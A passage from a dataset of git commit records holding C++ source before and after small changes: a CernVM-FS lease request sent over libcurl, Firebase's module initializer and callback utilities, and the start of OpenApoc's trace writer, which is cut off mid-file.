0);\n curl_easy_setopt(h_curl, CURLOPT_WRITEFUNCTION, RecvCB);\n curl_easy_setopt(h_curl, CURLOPT_WRITEDATA, buffer);\n\n ret = curl_easy_perform(h_curl);\n\n curl_easy_cleanup(h_curl);\n h_curl = NULL;\n\n return !ret;\n}\n<commit_msg>cvmfs_swissknife lease - modify MakeAcquireRequest to use JSON body<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"swissknife_lease_curl.h\"\n\n#include \"cvmfs_config.h\"\n\nsize_t RecvCB(void* buffer, size_t size, size_t nmemb, void* userp) {\n CurlBuffer* my_buffer = static_cast<CurlBuffer*>(userp);\n\n if (size * nmemb < 1) {\n return 0;\n }\n\n my_buffer->data = static_cast<char*>(buffer);\n\n return my_buffer->data.size();\n}\n\nCURL* PrepareCurl(const char* method) {\n const char* user_agent_string = \"cvmfs\/\" VERSION;\n\n CURL* h_curl = curl_easy_init();\n\n if (h_curl) {\n curl_easy_setopt(h_curl, CURLOPT_NOPROGRESS, 1L);\n curl_easy_setopt(h_curl, CURLOPT_USERAGENT, user_agent_string);\n curl_easy_setopt(h_curl, CURLOPT_MAXREDIRS, 50L);\n curl_easy_setopt(h_curl, CURLOPT_CUSTOMREQUEST, method);\n curl_easy_setopt(h_curl, CURLOPT_TCP_KEEPALIVE, 1L);\n }\n\n return h_curl;\n}\n\nbool MakeAcquireRequest(const std::string& user_name,\n const std::string& repo_path,\n const std::string& repo_service_url,\n CurlBuffer* buffer) {\n CURLcode ret = static_cast<CURLcode>(0);\n\n CURL* h_curl = PrepareCurl(\"POST\");\n if (!h_curl) {\n return false;\n }\n\n \/\/ Prepare payload\n const std::string payload =\n \"{\\\"user\\\" : \\\"\" + user_name + \"\\\", \\\"path\\\" : \\\"\" + repo_path + \"\\\"}\";\n\n \/\/ Make request to acquire lease from repo services\n curl_easy_setopt(\n h_curl, CURLOPT_URL,\n (repo_service_url + REPO_SERVICES_API_ROOT + \"\/leases\").c_str());\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDSIZE_LARGE,\n static_cast<curl_off_t>(payload.length()));\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDS, payload.c_str());\n curl_easy_setopt(h_curl, CURLOPT_WRITEFUNCTION, RecvCB);\n curl_easy_setopt(h_curl, CURLOPT_WRITEDATA, buffer);\n\n ret = curl_easy_perform(h_curl);\n\n curl_easy_cleanup(h_curl);\n h_curl = NULL;\n\n return !ret;\n}\n\nbool MakeDeleteRequest(const std::string& session_token,\n const std::string& repo_service_url,\n CurlBuffer* buffer) {\n CURLcode ret = static_cast<CURLcode>(0);\n\n CURL* h_curl = PrepareCurl(\"DELETE\");\n if (!h_curl) {\n return false;\n }\n curl_easy_setopt(\n h_curl, CURLOPT_URL,\n (repo_service_url + REPO_SERVICES_API_ROOT + \"\/leases\/\" + session_token)\n .c_str());\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDSIZE_LARGE,\n static_cast<curl_off_t>(0));\n curl_easy_setopt(h_curl, CURLOPT_POSTFIELDS, 0);\n curl_easy_setopt(h_curl, CURLOPT_WRITEFUNCTION, RecvCB);\n curl_easy_setopt(h_curl, CURLOPT_WRITEDATA, buffer);\n\n ret = curl_easy_perform(h_curl);\n\n curl_easy_cleanup(h_curl);\n h_curl = NULL;\n\n return !ret;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2016 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"app\/src\/include\/firebase\/util.h\"\n\n#include <assert.h>\n\n#include <map>\n#include <string>\n#include <vector>\n\n#include \"app\/src\/include\/firebase\/internal\/platform.h\"\n\n#if FIREBASE_PLATFORM_ANDROID\n#include \"app\/src\/include\/google_play_services\/availability.h\"\n#endif \/\/ FIREBASE_PLATFORM_ANDROID\n#include \"app\/src\/include\/firebase\/internal\/mutex.h\"\n#include \"app\/src\/log.h\"\n#include \"app\/src\/reference_counted_future_impl.h\"\n#include \"app\/src\/util.h\"\n\nnamespace firebase {\n\nenum ModuleInitializerFn {\n kModuleInitializerInitialize,\n kModuleInitializerCount\n};\n\nstruct ModuleInitializerData {\n ModuleInitializerData()\n : future_impl(kModuleInitializerCount),\n app(nullptr),\n context(nullptr),\n init_fn_idx(0) {}\n \/\/ Futures implementation.\n ReferenceCountedFutureImpl future_impl;\n \/\/ Handle to the Initialize() future.\n SafeFutureHandle<void> future_handle_init;\n\n \/\/ Data we will pass to the user's callbacks.\n App* app;\n void* context;\n\n \/\/ Initialization callbacks. These will each be called in order, but if any\n \/\/ of them returns kInitResultFailedMissingDependency, we'll stop and update,\n \/\/ then resume where we left off.\n std::vector<ModuleInitializer::InitializerFn> init_fns;\n\n \/\/ Where we are in the initializer function list.\n int init_fn_idx;\n};\n\nModuleInitializer::ModuleInitializer() { data_ = new ModuleInitializerData; }\n\nModuleInitializer::~ModuleInitializer() {\n delete data_;\n data_ = nullptr;\n}\n\nstatic void PerformInitialize(ModuleInitializerData* data) {\n while (data->init_fn_idx < data->init_fns.size()) {\n InitResult init_result;\n init_result = data->init_fns[data->init_fn_idx](data->app, data->context);\n\n#if FIREBASE_PLATFORM_ANDROID\n if (init_result == kInitResultFailedMissingDependency) {\n \/\/ On Android, we need to update or activate Google Play services\n \/\/ before we can initialize this Firebase module.\n LogWarning(\"Google Play services unavailable, trying to fix.\");\n\n Future<void> make_available = google_play_services::MakeAvailable(\n data->app->GetJNIEnv(), data->app->activity());\n\n make_available.OnCompletion(\n [](const Future<void>& result, void* ptr) {\n ModuleInitializerData* data =\n reinterpret_cast<ModuleInitializerData*>(ptr);\n if (result.status() == kFutureStatusComplete) {\n if (result.error() == 0) {\n LogInfo(\"Google Play services now available, continuing.\");\n PerformInitialize(data);\n } else {\n LogError(\"Google Play services still unavailable.\");\n int num_remaining = data->init_fns.size() - data->init_fn_idx;\n data->future_impl.Complete(\n data->future_handle_init, num_remaining,\n \"Unable to initialize due to missing Google Play services \"\n \"dependency.\");\n }\n }\n },\n data);\n }\n#else \/\/ !FIREBASE_PLATFORM_ANDROID\n \/\/ Outside of Android, we shouldn't get kInitResultFailedMissingDependency.\n FIREBASE_ASSERT(init_result != kInitResultFailedMissingDependency);\n#endif \/\/ FIREBASE_PLATFORM_ANDROID\n if (init_result == kInitResultSuccess) {\n data->init_fn_idx++; \/\/ This function succeeded, move on to the next one.\n } else {\n return; \/\/ If initialization failed, we will be trying again later, after\n \/\/ the MakeAvailable() Future completes. (or, if that future fails, then\n \/\/ we will just abort and return an error.)\n }\n }\n data->future_impl.Complete(data->future_handle_init, 0);\n}\n\nFuture<void> ModuleInitializer::Initialize(\n App* app, void* context, ModuleInitializer::InitializerFn init_fn) {\n FIREBASE_ASSERT(app != nullptr);\n FIREBASE_ASSERT(init_fn != nullptr);\n\n return Initialize(app, context, &init_fn, 1);\n}\n\nFuture<void> ModuleInitializer::Initialize(\n App* app, void* context, const ModuleInitializer::InitializerFn* init_fns,\n size_t init_fns_count) {\n FIREBASE_ASSERT(app != nullptr);\n FIREBASE_ASSERT(init_fns != nullptr);\n\n if (!data_->future_impl.ValidFuture(data_->future_handle_init)) {\n data_->future_handle_init =\n data_->future_impl.SafeAlloc<void>(kModuleInitializerInitialize);\n data_->app = app;\n data_->init_fn_idx = 0;\n data_->init_fns.clear();\n for (size_t i = 0; i < init_fns_count; i++) {\n data_->init_fns.push_back(init_fns[i]);\n }\n data_->context = context;\n PerformInitialize(data_);\n }\n return InitializeLastResult();\n}\n\nFuture<void> ModuleInitializer::InitializeLastResult() {\n return static_cast<const Future<void>&>(\n data_->future_impl.LastResult(kModuleInitializerInitialize));\n}\n\nstd::map<std::string, AppCallback*>* AppCallback::callbacks_;\nMutex* AppCallback::callbacks_mutex_ = new Mutex();\n\nvoid AppCallback::NotifyAllAppCreated(\n firebase::App* app, std::map<std::string, InitResult>* results) {\n if (results) results->clear();\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n for (std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->begin();\n it != callbacks_->end(); ++it) {\n const AppCallback* callback = it->second;\n if (callback->enabled()) {\n InitResult result = callback->NotifyAppCreated(app);\n if (results) (*results)[it->first] = result;\n }\n }\n}\n\nvoid AppCallback::NotifyAllAppDestroyed(firebase::App* app) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n for (std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->begin();\n it != callbacks_->end(); ++it) {\n const AppCallback* callback = it->second;\n if (callback->enabled()) callback->NotifyAppDestroyed(app);\n }\n}\n\n\/\/ Determine whether a module callback is enabled, by name.\nbool AppCallback::GetEnabledByName(const char* name) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return false;\n std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->find(std::string(name));\n if (it == callbacks_->end()) {\n return false;\n }\n return it->second->enabled();\n}\n\n\/\/ Enable a module callback by name.\nvoid AppCallback::SetEnabledByName(const char* name, bool enable) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->find(std::string(name));\n if (it == callbacks_->end()) {\n LogDebug(\"App initializer %s not found, failed to enable.\", name);\n return;\n }\n LogDebug(\"%s app initializer %s\", name, enable ? \"Enabling\" : \"Disabling\");\n it->second->set_enabled(enable);\n}\n\nvoid AppCallback::SetEnabledAll(bool enable) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n LogDebug(\"%s all app initializers\", enable ? \"Enabling\" : \"Disabling\");\n for (std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->begin();\n it != callbacks_->end(); ++it) {\n LogDebug(\"%s %s\", enable ? \"Enable\" : \"Disable\", it->second->module_name());\n it->second->set_enabled(enable);\n }\n}\n\nvoid AppCallback::AddCallback(AppCallback* callback) {\n if (!callbacks_) {\n callbacks_ = new std::map<std::string, AppCallback*>();\n }\n std::string name = callback->module_name();\n if (callbacks_->find(name) != callbacks_->end()) {\n LogWarning(\n \"%s is already registered for callbacks on app initialization, \"\n \"ignoring.\",\n name.c_str());\n } else {\n LogDebug(\"Registered app initializer %s (enabled: %d)\", name.c_str(),\n callback->enabled() ? 1 : 0);\n (*callbacks_)[name] = callback;\n }\n}\n\nMutex* StaticFutureData::s_futures_mutex_ = new Mutex();\nstd::map<const void*, StaticFutureData*>* StaticFutureData::s_future_datas_;\n\n\/\/ static\nvoid StaticFutureData::CleanupFutureDataForModule(\n const void* module_identifier) {\n MutexLock lock(*s_futures_mutex_);\n\n if (s_future_datas_ == nullptr) return;\n\n auto it = s_future_datas_->find(module_identifier);\n if (it != s_future_datas_->end()) {\n StaticFutureData* existing_data = it->second;\n if (existing_data != nullptr) delete existing_data;\n\n s_future_datas_->erase(it);\n }\n}\n\n\/\/ static\nStaticFutureData* StaticFutureData::GetFutureDataForModule(\n const void* module_identifier, int num_functions) {\n MutexLock lock(*s_futures_mutex_);\n\n if (s_future_datas_ == nullptr) {\n s_future_datas_ = new std::map<const void*, StaticFutureData*>;\n }\n\n auto found_value = s_future_datas_->find(module_identifier);\n if (found_value != s_future_datas_->end()) {\n StaticFutureData* existing_data = found_value->second;\n if (existing_data != nullptr) {\n return existing_data;\n }\n }\n\n StaticFutureData* new_data = CreateNewData(module_identifier, num_functions);\n (*s_future_datas_)[module_identifier] = new_data;\n return new_data;\n}\n\n\/\/ static\nStaticFutureData* StaticFutureData::CreateNewData(const void* module_identifier,\n int num_functions) {\n StaticFutureData* new_data = new StaticFutureData(num_functions);\n return new_data;\n}\n\nstd::vector<std::string> SplitString(const std::string& s,\n const char delimiter) {\n size_t pos = 0;\n \/\/ This index is used as the starting index to search the delimiters from.\n size_t delimiter_search_start = 0;\n \/\/ Skip any leading delimiters\n while (s[delimiter_search_start] == delimiter) {\n delimiter_search_start++;\n }\n\n std::vector<std::string> split_parts;\n size_t len = s.size();\n \/\/ Can't proceed if input string consists of just delimiters\n if (pos >= len) {\n return split_parts;\n }\n\n while ((pos = s.find(delimiter, delimiter_search_start)) !=\n std::string::npos) {\n split_parts.push_back(\n s.substr(delimiter_search_start, pos - delimiter_search_start));\n\n while (s[pos] == delimiter && pos < len) {\n pos++;\n delimiter_search_start = pos;\n }\n }\n\n \/\/ If the input string doesn't end with a delimiter we need to push the last\n \/\/ token into our return vector\n if (delimiter_search_start != len) {\n split_parts.push_back(\n s.substr(delimiter_search_start, len - delimiter_search_start));\n }\n return split_parts;\n}\n\n\/\/ NOLINTNEXTLINE - allow namespace overridden\n} \/\/ namespace firebase\n<commit_msg>Disable logging during AddCallback, which initializes too early. (#827)<commit_after>\/*\n * Copyright 2016 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"app\/src\/include\/firebase\/util.h\"\n\n#include <assert.h>\n\n#include <map>\n#include <string>\n#include <vector>\n\n#include \"app\/src\/include\/firebase\/internal\/platform.h\"\n\n#if FIREBASE_PLATFORM_ANDROID\n#include \"app\/src\/include\/google_play_services\/availability.h\"\n#endif \/\/ FIREBASE_PLATFORM_ANDROID\n#include \"app\/src\/include\/firebase\/internal\/mutex.h\"\n#include \"app\/src\/log.h\"\n#include \"app\/src\/reference_counted_future_impl.h\"\n#include \"app\/src\/util.h\"\n\nnamespace firebase {\n\nenum ModuleInitializerFn {\n kModuleInitializerInitialize,\n kModuleInitializerCount\n};\n\nstruct ModuleInitializerData {\n ModuleInitializerData()\n : future_impl(kModuleInitializerCount),\n app(nullptr),\n context(nullptr),\n init_fn_idx(0) {}\n \/\/ Futures implementation.\n ReferenceCountedFutureImpl future_impl;\n \/\/ Handle to the Initialize() future.\n SafeFutureHandle<void> future_handle_init;\n\n \/\/ Data we will pass to the user's callbacks.\n App* app;\n void* context;\n\n \/\/ Initialization callbacks. These will each be called in order, but if any\n \/\/ of them returns kInitResultFailedMissingDependency, we'll stop and update,\n \/\/ then resume where we left off.\n std::vector<ModuleInitializer::InitializerFn> init_fns;\n\n \/\/ Where we are in the initializer function list.\n int init_fn_idx;\n};\n\nModuleInitializer::ModuleInitializer() { data_ = new ModuleInitializerData; }\n\nModuleInitializer::~ModuleInitializer() {\n delete data_;\n data_ = nullptr;\n}\n\nstatic void PerformInitialize(ModuleInitializerData* data) {\n while (data->init_fn_idx < data->init_fns.size()) {\n InitResult init_result;\n init_result = data->init_fns[data->init_fn_idx](data->app, data->context);\n\n#if FIREBASE_PLATFORM_ANDROID\n if (init_result == kInitResultFailedMissingDependency) {\n \/\/ On Android, we need to update or activate Google Play services\n \/\/ before we can initialize this Firebase module.\n LogWarning(\"Google Play services unavailable, trying to fix.\");\n\n Future<void> make_available = google_play_services::MakeAvailable(\n data->app->GetJNIEnv(), data->app->activity());\n\n make_available.OnCompletion(\n [](const Future<void>& result, void* ptr) {\n ModuleInitializerData* data =\n reinterpret_cast<ModuleInitializerData*>(ptr);\n if (result.status() == kFutureStatusComplete) {\n if (result.error() == 0) {\n LogInfo(\"Google Play services now available, continuing.\");\n PerformInitialize(data);\n } else {\n LogError(\"Google Play services still unavailable.\");\n int num_remaining = data->init_fns.size() - data->init_fn_idx;\n data->future_impl.Complete(\n data->future_handle_init, num_remaining,\n \"Unable to initialize due to missing Google Play services \"\n \"dependency.\");\n }\n }\n },\n data);\n }\n#else \/\/ !FIREBASE_PLATFORM_ANDROID\n \/\/ Outside of Android, we shouldn't get kInitResultFailedMissingDependency.\n FIREBASE_ASSERT(init_result != kInitResultFailedMissingDependency);\n#endif \/\/ FIREBASE_PLATFORM_ANDROID\n if (init_result == kInitResultSuccess) {\n data->init_fn_idx++; \/\/ This function succeeded, move on to the next one.\n } else {\n return; \/\/ If initialization failed, we will be trying again later, after\n \/\/ the MakeAvailable() Future completes. (or, if that future fails, then\n \/\/ we will just abort and return an error.)\n }\n }\n data->future_impl.Complete(data->future_handle_init, 0);\n}\n\nFuture<void> ModuleInitializer::Initialize(\n App* app, void* context, ModuleInitializer::InitializerFn init_fn) {\n FIREBASE_ASSERT(app != nullptr);\n FIREBASE_ASSERT(init_fn != nullptr);\n\n return Initialize(app, context, &init_fn, 1);\n}\n\nFuture<void> ModuleInitializer::Initialize(\n App* app, void* context, const ModuleInitializer::InitializerFn* init_fns,\n size_t init_fns_count) {\n FIREBASE_ASSERT(app != nullptr);\n FIREBASE_ASSERT(init_fns != nullptr);\n\n if (!data_->future_impl.ValidFuture(data_->future_handle_init)) {\n data_->future_handle_init =\n data_->future_impl.SafeAlloc<void>(kModuleInitializerInitialize);\n data_->app = app;\n data_->init_fn_idx = 0;\n data_->init_fns.clear();\n for (size_t i = 0; i < init_fns_count; i++) {\n data_->init_fns.push_back(init_fns[i]);\n }\n data_->context = context;\n PerformInitialize(data_);\n }\n return InitializeLastResult();\n}\n\nFuture<void> ModuleInitializer::InitializeLastResult() {\n return static_cast<const Future<void>&>(\n data_->future_impl.LastResult(kModuleInitializerInitialize));\n}\n\nstd::map<std::string, AppCallback*>* AppCallback::callbacks_;\nMutex* AppCallback::callbacks_mutex_ = new Mutex();\n\nvoid AppCallback::NotifyAllAppCreated(\n firebase::App* app, std::map<std::string, InitResult>* results) {\n if (results) results->clear();\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n for (std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->begin();\n it != callbacks_->end(); ++it) {\n const AppCallback* callback = it->second;\n if (callback->enabled()) {\n InitResult result = callback->NotifyAppCreated(app);\n if (results) (*results)[it->first] = result;\n }\n }\n}\n\nvoid AppCallback::NotifyAllAppDestroyed(firebase::App* app) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n for (std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->begin();\n it != callbacks_->end(); ++it) {\n const AppCallback* callback = it->second;\n if (callback->enabled()) callback->NotifyAppDestroyed(app);\n }\n}\n\n\/\/ Determine whether a module callback is enabled, by name.\nbool AppCallback::GetEnabledByName(const char* name) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return false;\n std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->find(std::string(name));\n if (it == callbacks_->end()) {\n return false;\n }\n return it->second->enabled();\n}\n\n\/\/ Enable a module callback by name.\nvoid AppCallback::SetEnabledByName(const char* name, bool enable) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->find(std::string(name));\n if (it == callbacks_->end()) {\n LogDebug(\"App initializer %s not found, failed to enable.\", name);\n return;\n }\n LogDebug(\"%s app initializer %s\", name, enable ? \"Enabling\" : \"Disabling\");\n it->second->set_enabled(enable);\n}\n\nvoid AppCallback::SetEnabledAll(bool enable) {\n MutexLock lock(*callbacks_mutex_);\n if (!callbacks_) return;\n LogDebug(\"%s all app initializers\", enable ? \"Enabling\" : \"Disabling\");\n for (std::map<std::string, AppCallback*>::const_iterator it =\n callbacks_->begin();\n it != callbacks_->end(); ++it) {\n LogDebug(\"%s %s\", enable ? \"Enable\" : \"Disable\", it->second->module_name());\n it->second->set_enabled(enable);\n }\n}\n\nvoid AppCallback::AddCallback(AppCallback* callback) {\n if (!callbacks_) {\n callbacks_ = new std::map<std::string, AppCallback*>();\n }\n std::string name = callback->module_name();\n if (callbacks_->find(name) != callbacks_->end()) {\n } else {\n (*callbacks_)[name] = callback;\n }\n}\n\nMutex* StaticFutureData::s_futures_mutex_ = new Mutex();\nstd::map<const void*, StaticFutureData*>* StaticFutureData::s_future_datas_;\n\n\/\/ static\nvoid StaticFutureData::CleanupFutureDataForModule(\n const void* module_identifier) {\n MutexLock lock(*s_futures_mutex_);\n\n if (s_future_datas_ == nullptr) return;\n\n auto it = s_future_datas_->find(module_identifier);\n if (it != s_future_datas_->end()) {\n StaticFutureData* existing_data = it->second;\n if (existing_data != nullptr) delete existing_data;\n\n s_future_datas_->erase(it);\n }\n}\n\n\/\/ static\nStaticFutureData* StaticFutureData::GetFutureDataForModule(\n const void* module_identifier, int num_functions) {\n MutexLock lock(*s_futures_mutex_);\n\n if (s_future_datas_ == nullptr) {\n s_future_datas_ = new std::map<const void*, StaticFutureData*>;\n }\n\n auto found_value = s_future_datas_->find(module_identifier);\n if (found_value != s_future_datas_->end()) {\n StaticFutureData* existing_data = found_value->second;\n if (existing_data != nullptr) {\n return existing_data;\n }\n }\n\n StaticFutureData* new_data = CreateNewData(module_identifier, num_functions);\n (*s_future_datas_)[module_identifier] = new_data;\n return new_data;\n}\n\n\/\/ static\nStaticFutureData* StaticFutureData::CreateNewData(const void* module_identifier,\n int num_functions) {\n StaticFutureData* new_data = new StaticFutureData(num_functions);\n return new_data;\n}\n\nstd::vector<std::string> SplitString(const std::string& s,\n const char delimiter) {\n size_t pos = 0;\n \/\/ This index is used as the starting index to search the delimiters from.\n size_t delimiter_search_start = 0;\n \/\/ Skip any leading delimiters\n while (s[delimiter_search_start] == delimiter) {\n delimiter_search_start++;\n }\n\n std::vector<std::string> split_parts;\n size_t len = s.size();\n \/\/ Can't proceed if input string consists of just delimiters\n if (pos >= len) {\n return split_parts;\n }\n\n while ((pos = s.find(delimiter, delimiter_search_start)) !=\n std::string::npos) {\n split_parts.push_back(\n s.substr(delimiter_search_start, pos - delimiter_search_start));\n\n while (s[pos] == delimiter && pos < len) {\n pos++;\n delimiter_search_start = pos;\n }\n }\n\n \/\/ If the input string doesn't end with a delimiter we need to push the last\n \/\/ token into our return vector\n if (delimiter_search_start != len) {\n split_parts.push_back(\n s.substr(delimiter_search_start, len - delimiter_search_start));\n }\n return split_parts;\n}\n\n\/\/ NOLINTNEXTLINE - allow namespace overridden\n} \/\/ namespace firebase\n<|endoftext|>"} {"text":"<commit_before>#include \"framework\/trace.h\"\n#include <fstream>\n#include <memory>\n#include <mutex>\n#include <sstream>\n#include <thread>\n\nnamespace\n{\n\nusing OpenApoc::UString;\n\nenum class EventType\n{\n\tBegin,\n\tEnd,\n};\n\nclass TraceEvent\n{\n public:\n\tEventType type;\n\tUString name;\n\tstd::vector<std::pair<UString, UString>> args;\n\tuint64_t timeNS;\n\tTraceEvent(EventType type, const UString &name,\n\t const std::vector<std::pair<UString, UString>> &args, uint64_t timeNS)\n\t : type(type), name(name), args(args), timeNS(timeNS)\n\t{\n\t}\n};\n\nclass EventList\n{\n public:\n\tUString tid;\n\tstd::vector<TraceEvent> events;\n};\n\nclass TraceManager\n{\n public:\n\t\/\/ We need a list of all the EventLists created for each thread to dump out & free at\n\t\/\/ TraceManager destructor time\n\tstd::list<std::unique_ptr<EventList>> lists;\n\tstd::mutex listMutex;\n\tEventList *createThreadEventList()\n\t{\n\t\tstd::stringstream ss;\n\t\tlistMutex.lock();\n\t\tEventList *list = new EventList;\n\t\tss << std::this_thread::get_id();\n\t\tlist->tid = ss.str();\n\t\tlists.emplace_back(list);\n\t\tlistMutex.unlock();\n\t\treturn list;\n\t}\n\t~TraceManager();\n\tvoid write();\n};\n\nstatic std::unique_ptr<TraceManager> trace_manager;\n\n#if defined(PTHREADS_AVAILABLE)\n#include <pthread.h>\n#endif\n\n\/\/ thread_local isn't implemented until msvc 2015 (_MSC_VER 1900)\n#if defined(_MSC_VER) && _MSC_VER < 1900\nstatic __declspec(thread) EventList *events = nullptr;\n#else\n#if defined(BROKEN_THREAD_LOCAL)\n#warning Using pthread path\n\nstatic pthread_key_t eventListKey;\n\n#else\nstatic thread_local EventList *events = nullptr;\n#endif\n#endif\nstatic std::chrono::time_point<std::chrono::high_resolution_clock> traceStartTime;\n\n} \/\/ anonymous namespace\n\nTraceManager::~TraceManager()\n{\n\tif (OpenApoc::Trace::enabled)\n\t\tthis->write();\n}\n\nvoid TraceManager::write()\n{\n\tassert(OpenApoc::Trace::enabled);\n\tOpenApoc::Trace::enabled = false;\n\n\tstd::ofstream outFile(\"openapoc_trace.json\");\n\n\t\/\/ FIXME: Use proper json parser instead of magically constructing from strings?\n\n\toutFile << \"{\\\"traceEvents\\\":[\\n\";\n\n\tbool firstEvent = true;\n\n\tlistMutex.lock();\n\tfor (auto &eventList : lists)\n\t{\n\t\tfor (auto &event : eventList->events)\n\t\t{\n\t\t\tif (!firstEvent)\n\t\t\t\toutFile << \",\\n\";\n\n\t\t\tfirstEvent = false;\n\n\t\t\toutFile << \"{\"\n\t\t\t << \"\\\"pid\\\":1,\"\n\t\t\t << \"\\\"tid\\\":\\\"\" << eventList->tid.str() << \"\\\",\"\n\t\t\t \/\/ Time is in microseconds, not nanoseconds\n\t\t\t << \"\\\"ts\\\":\" << event.timeNS \/ 1000 << \",\"\n\t\t\t << \"\\\"name\\\":\\\"\" << event.name.str() << \"\\\",\";\n\n\t\t\tswitch (event.type)\n\t\t\t{\n\t\t\t\tcase EventType::Begin:\n\t\t\t\t{\n\t\t\t\t\toutFile << \"\\\"ph\\\":\\\"B\\\"\";\n\n\t\t\t\t\tif (!event.args.empty())\n\t\t\t\t\t{\n\t\t\t\t\t\toutFile << \",\\\"args\\\":{\";\n\n\t\t\t\t\t\tbool firstArg = true;\n\n\t\t\t\t\t\tfor (auto &arg : event.args)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!firstArg)\n\t\t\t\t\t\t\t\toutFile << \",\";\n\t\t\t\t\t\t\tfirstArg = false;\n\t\t\t\t\t\t\toutFile << \"\\\"\" << arg.first.str() << \"\\\":\\\"\" << arg.second.str()\n\t\t\t\t\t\t\t << \"\\\"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\toutFile << \"}\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase EventType::End:\n\t\t\t\t\toutFile << \"\\\"ph\\\":\\\"E\\\"\";\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\toutFile << \"}\";\n\t\t}\n\t}\n\tlistMutex.unlock();\n\toutFile << \"]}\\n\";\n\toutFile.flush();\n}\n\nnamespace OpenApoc\n{\n\nbool Trace::enabled = false;\n\nvoid Trace::enable()\n{\n\tassert(!trace_manager);\n\ttrace_manager.reset(new TraceManager);\n#if defined(BROKEN_THREAD_LOCAL)\n\tpthread_key_create(&eventListKey, NULL);\n#endif\n\tTrace::enabled = true;\n\ttraceStartTime = std::chrono::high_resolution_clock::now();\n}\n\nvoid Trace::disable()\n{\n\tassert(trace_manager);\n\ttrace_manager->write();\n\ttrace_manager.reset(nullptr);\n#if defined(BROKEN_THREAD_LOCAL)\n\tpthread_key_delete(&eventListKey);\n#endif\n\tTrace::enabled = false;\n}\n\nvoid Trace::setThreadName(const UString &name)\n{\n#if defined(PTHREADS_AVAILABLE)\n\tpthread_setname_np(pthread_self(), name.c_str());\n#endif\n\tif (!Trace::enabled)\n\t\treturn;\n\n#if defined(BROKEN_THREAD_LOCAL)\n\tEventList *events = (EventList *)pthread_getspecific(eventListKey);\n\tif (!events)\n\t{\n\t\tevents = trace_manager->createThreadEventList();\n\t\tpthread_setspecific(eventListKey, events);\n\t}\n#else\n\tif (!events)\n\t\tevents = trace_manager->createThreadEventList();\n#endif\n\n\tevents->tid = name;\n}\n\nvoid Trace::start(const UString &name, const std::vector<std::pair<UString, UString>> &args)\n{\n\tif (!Trace::enabled)\n\t\treturn;\n#if defined(BROKEN_THREAD_LOCAL)\n\tEventList *events = (EventList *)pthread_getspecific(eventListKey);\n\tif (!events)\n\t{\n\t\tevents = trace_manager->createThreadEventList();\n\t\tpthread_setspecific(eventListKey, events);\n\t}\n#else\n\tif (!events)\n\t\tevents = trace_manager->createThreadEventList();\n#endif\n\n\tauto timeNow = std::chrono::high_resolution_clock::now();\n\tuint64_t timeNS = std::chrono::duration<uint64_t, std::nano>(timeNow - traceStartTime).count();\n\tevents->events.emplace_back(EventType::Begin, name, args, timeNS);\n}\nvoid Trace::end(const UString &name)\n{\n\tif (!Trace::enabled)\n\t\treturn;\n#if defined(BROKEN_THREAD_LOCAL)\n\tEventList *events = (EventList *)pthread_getspecific(eventListKey);\n\tif (!events)\n\t{\n\t\tevents = trace_manager->createThreadEventList();\n\t\tpthread_setspecific(eventListKey, events);\n\t}\n#else\n\tif (!events)\n\t\tevents = trace_manager->createThreadEventList();\n#endif\n\tauto timeNow = std::chrono::high_resolution_clock::now();\n\tuint64_t timeNS = std::chrono::duration<uint64_t, std::nano>(timeNow - traceStartTime).count();\n\tevents->events.emplace_back(EventType::End, name, std::vector<std::pair<UString, UString>>{},\n\t timeNS);\n}\n\n} \/\/ namespace OpenApoc\n<commit_msg>Fix typo in trace.cpp<commit_after>#include \"framework\/trace.h\"\n#include <fstream>\n#include <memory>\n#include <mutex>\n#include <sstream>\n#include <thread>\n\nnamespace\n{\n\nusing OpenApoc::UString;\n\nenum class EventType\n{\n\tBegin,\n\tEnd,\n};\n\nclass TraceEvent\n{\n public:\n\tEventType type;\n\tUString name;\n\tstd::vector<std::pair<UString, UString>> args;\n\tuint64_t timeNS;\n\tTraceEvent(EventType type, const UString &name,\n\t const std::vector<std::pair<UString, UString>> 